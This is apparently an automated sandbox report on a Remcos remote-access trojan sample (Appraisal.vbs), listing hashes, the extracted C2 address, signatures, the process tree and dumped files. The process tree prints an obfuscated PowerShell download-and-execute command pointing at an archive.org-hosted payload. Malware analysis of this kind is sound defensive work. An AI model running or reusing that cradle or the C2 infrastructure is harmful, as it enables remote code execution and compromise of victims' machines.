remcos | 5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27

General

Target

Appraisal.vbs
Size

713B
MD5

374872083b769268ef5be044031e72cf
SHA1

ccb15dd8642387523121e8c67bb8fa41b2b2f966
SHA256

5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
SHA512

5b97e908e39d61decb10a0b2bdf9d94043d899b86052fcedd598d87a7a610d977b526c5176c91b7bdecacb1a1eb3f39ce3bab9547c253e2b4e17c837dc50de58

Score

10^/10

remcos rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia601403.us.archive.org/17/items/all_20210425_202104/ALL.TXT

Extracted

Family

remcos

C2

185.19.85.168:1723

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

7 1152 powershell.exe
9 1152 powershell.exe
11 1152 powershell.exe
13 1152 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 528 set thread context of 1676 528 powershell.exe aspnet_compiler.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

1152 powershell.exe
1152 powershell.exe
528 powershell.exe
528 powershell.exe
528 powershell.exe
528 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1152 powershell.exe
Token: SeDebugPrivilege 528 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

1676 aspnet_compiler.exe

flow	pid	process
7	1152	powershell.exe
9	1152	powershell.exe
11	1152	powershell.exe
13	1152	powershell.exe

description	pid	process	target process
PID 528 set thread context of 1676	528	powershell.exe	aspnet_compiler.exe

pid	process
1152	powershell.exe
1152	powershell.exe
528	powershell.exe
528	powershell.exe
528	powershell.exe
528	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	528	powershell.exe

pid	process
1676	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1268 wrote to memory of 1152	1268	WScript.exe	powershell.exe
PID 1268 wrote to memory of 1152	1268	WScript.exe	powershell.exe
PID 1268 wrote to memory of 1152	1268	WScript.exe	powershell.exe
PID 1152 wrote to memory of 528	1152	powershell.exe	powershell.exe
PID 1152 wrote to memory of 528	1152	powershell.exe	powershell.exe
PID 1152 wrote to memory of 528	1152	powershell.exe	powershell.exe
PID 528 wrote to memory of 588	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 588	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 588	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 588	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe
PID 528 wrote to memory of 1676	528	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisal.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`E`X((n`e`W`-Obj`E`c`T(('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://ia601403.us.archive.org/17/items/all_20210425_202104/ALL.TXT'))))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
PID:588

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
- Suspicious use of SetWindowsHookEx
PID:1676

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
f10fba79ab99030cf901b7b11357c981

SHA1
3ffcf0f76debf43c1b9a6a0ce9e1809065a25319

SHA256
82cf2481160d842f5ff3d743eefb70cad1d45520645497503cac396f46275ce4

SHA512
e887178e7af5f794d5103ffecb69c93ad720772de7f303ab7028738dc7643b88bb5456be1f77c80bac6e5b0793282c55c8083262132b8b617e63a63eb630671b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
d9c23a22c27d490508a4d0584dbfcaa0

SHA1
2b4555324624595bfde09c84e4db5b90715b6551

SHA256
ae98456e3487a35f0851004d3dcca33722713702c5e529ccd99f2ae18dbb91a6

SHA512
6f426d4a98ba8e01148ecb00dcb787a598ee778630d33a80cedad143e0bcfd44df3d6ba96ef714784dbb0d8671e1dac7fd538c4eac4ae36509fce17a3f8052b5

Download Submit
C:\Users\Public\ Microsoft.ps1
MD5
ab9f802581d1bbbcafb0cb1f9a3a002f

SHA1
a53f6e8d357edd39060bd4842e448f2c84571b86

SHA256
36fa91c5bfae97b2c9945b055384297afaf148f2becd50e0ce270276ca472855

SHA512
3732785a36fa3c7a8a51969b6fe31da69f19a8d68cd8789236806d81a2bc2d70007b2459d4b739790fd7592c954d9b186e048ddec34c1d3ff6a5c5810cf21621

Download Submit
memory/528-70-0x0000000000000000-mapping.dmp

Download
memory/528-82-0x0000000002620000-0x000000000263F000-memory.dmp

Filesize
124KB

Download
memory/528-86-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/528-75-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/528-76-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/1152-62-0x0000000002200000-0x0000000002201000-memory.dmp

Filesize
4KB

Download
memory/1152-68-0x000000001B6A0000-0x000000001B6A1000-memory.dmp

Filesize
4KB

Download
memory/1152-65-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/1152-63-0x000000001AC50000-0x000000001AC51000-memory.dmp

Filesize
4KB

Download
memory/1152-67-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1152-66-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

Filesize
8KB

Download
memory/1152-69-0x000000001C7A0000-0x000000001C7A1000-memory.dmp

Filesize
4KB

Download
memory/1152-60-0x0000000000000000-mapping.dmp

Download
memory/1152-64-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/1268-59-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Filesize
8KB

Download
memory/1676-83-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1676-84-0x000000000042EEEF-mapping.dmp

Download
memory/1676-85-0x0000000075591000-0x0000000075593000-memory.dmp

Filesize
8KB

Download
memory/1676-87-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads